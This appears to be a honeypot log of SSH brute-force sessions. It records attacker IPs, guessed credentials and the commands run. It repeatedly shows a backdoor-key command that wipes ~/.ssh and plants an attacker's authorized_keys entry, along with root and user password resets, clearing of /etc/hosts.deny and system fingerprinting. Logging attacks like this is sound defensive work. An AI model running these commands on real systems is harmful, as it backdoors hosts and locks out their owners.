$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ clandestine_kopi_root_214 (47.236.110.214) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-08-11 04:27 EDT ยท as deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ cryptic_dutch_root (45.153.34.161) โ€” Eygelshoven, The Netherlands ยท 93 sessions ยท 93 cmds
2026-06-30 13:03 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 6x across 6 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ venomous_dutch_sol (45.153.34.71) โ€” Eygelshoven, The Netherlands ยท 93 sessions ยท 93 cmds
2026-06-27 21:09 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ ironclad_cipher_root (41.139.37.122) โ€” Cantonments, Ghana ยท 3 sessions ยท 3 cmds
2026-07-23 17:55 EDT ยท as root/123456
CPU profiling
$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}' ร—3
โ†ณ CPU profiling
๐ŸŽญ brisk_cowboy_sol_229 (24.199.83.229) โ€” North Bergen, United States ยท 1 session ยท 1 cmd
2026-08-10 19:16 EDT ยท as solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ manic_star_crypto (142.93.116.137) โ€” North Bergen, United States ยท 1 session ยท 1 cmd
2026-08-10 19:08 EDT ยท as eth/eth
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ nocturnal_silk_root_224 (59.36.254.224) โ€” Guangzhou, China ยท 1 session ยท 19 cmds
2026-08-10 19:07 EDT ยท as root/pass123
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "root:LujBVv
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:LujBVvYDjwiR"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ midnight_liberty_root_49 (107.174.39.49) โ€” Buffalo, United States ยท 1 session ยท 19 cmds
2026-08-10 18:36 EDT ยท as root/pass123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:Od7eIeWk8YkO"|chpasswd|bash โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name | wc -l โ†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:Od7eIeWk8YkO"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ drowsy_wok_root_58 (120.77.248.58) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-08-10 18:31 EDT ยท as oracle/oracle
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ jittery_windmill_root (91.92.42.87) โ€” Amsterdam, The Netherlands ยท 32 sessions ยท 32 cmds
2026-07-20 02:30 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ zealous_baguette_root (51.38.224.114) โ€” Gravelines, France ยท 1 session ยท 2 cmds
2026-08-10 11:38 EDT ยท as oracle/welcome1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_eagle_root (152.32.182.41) โ€” Reston, United States ยท 1 session ยท 2 cmds
2026-08-10 11:17 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_lucha_sol (189.203.163.10) โ€” Benito Juarez, Mexico ยท 1 session ยท 20 cmds
2026-08-10 10:47 EDT ยท as solana/solana
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "solana\nGqtFsGxTYvpx"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "solana\nGqtFsGxTYvpx\nGqt
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "solana\nGqtFsGxTYvpx\nGqtFsGxTYvpx"|passwd|bash
$ Enter new UNIX password:
$ echo "solana\nGqtFsGxTYvpx\nGqtFsGxTYvpx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ lurking_toucan_sol (45.140.192.8) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 2 cmds
2026-08-10 10:36 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_barbie_root (103.208.219.38) โ€” Huntingwood, Australia ยท 2 sessions ยท 39 cmds
2026-08-04 12:16 EDT ยท as root/Aaa123123, user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo "root:nzKLMeZAQ9Ld"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo -e "user\nGz0hPxCXJorK\nGz0hPxCXJorK"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nGz0hPxCXJorK\nGz0hPxCXJorK\n"|passwd
๐ŸŽญ baroque_dragon_root_174 (106.12.39.174) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-10 07:02 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ ashen_bike_root (45.156.87.204) โ€” Eygelshoven, The Netherlands ยท 155 sessions ยท 155 cmds
2026-07-24 20:30 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 70x across 70 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—155
๐ŸŽญ molten_meatball_root (155.4.244.179) โ€” Helsingborg, Sweden ยท 1 session ยท 20 cmds
2026-08-10 03:44 EDT ยท as ubuntu/ubuntu
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nF4owbLrIHgxP\nF4owbLrIHgxP"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nF4owbLrIHgxP\nF4owbLrIHgxP\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ wired_lotus_root (183.91.186.36) โ€” Thanh Xuรขn, Vietnam ยท 1 session ยท 20 cmds
2026-08-10 03:03 EDT ยท as user/user
user/user credential reuse โ†’ SSH key removal via chattr and rm -rf โ†’ memory and CPU profiling via /proc/cpuinfo and free โ†’ persistence check via crontab -l โ†’ process enumeration via w and top โ†’ binary inspection via ls -lh and which
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\npGU2wSF89xUA\npGU2wSF89xUA"|passwd|bash
$ Enter new UNIX password:
$ echo "user\npGU2wSF89xUA\npGU2wSF89xUA\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_gouda_root (45.156.87.253) โ€” Amsterdam, The Netherlands ยท 124 sessions ยท 124 cmds
2026-06-30 02:54 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 35x across 35 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—124
๐ŸŽญ ironclad_scone_root (5.253.38.188) โ€” London, United Kingdom ยท 1 session ยท 20 cmds
2026-08-10 00:52 EDT ยท as sol/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nijyRvX0EBEKN\nijyRvX0EBEKN"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nijyRvX0EBEKN\nijyRvX0EBEKN\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brazen_dutch_root (91.92.47.96) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-09 23:43 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ rogue_dragonfruit_root (103.48.192.62) โ€” Dich Vong, Vietnam ยท 2 sessions ยท 2 cmds
2026-08-09 17:43 EDT ยท as root/12345678, root/admin123
echo
$ echo xsec ร—2
๐ŸŽญ obsidian_lantern_root_207 (101.96.234.207) โ€” Haidian, China ยท 1 session ยท 1 cmd
2026-08-09 20:19 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ wired_silk_root (120.48.33.69) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-08-09 18:55 EDT ยท as oracle/redhat
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_crumpet_root (87.106.63.76) โ€” Worcester, United Kingdom ยท 1 session ยท 20 cmds
2026-08-09 18:20 EDT ยท as admin/asdf1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nC6g7AhPba0qV\nC6g7AhPba0qV"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nC6g7AhPba0qV\nC6g7AhPba0qV\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ placid_yankee_root (138.197.195.44) โ€” Santa Clara, United States ยท 1 session ยท 20 cmds
2026-08-09 17:57 EDT ยท as admin/asdf1234
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
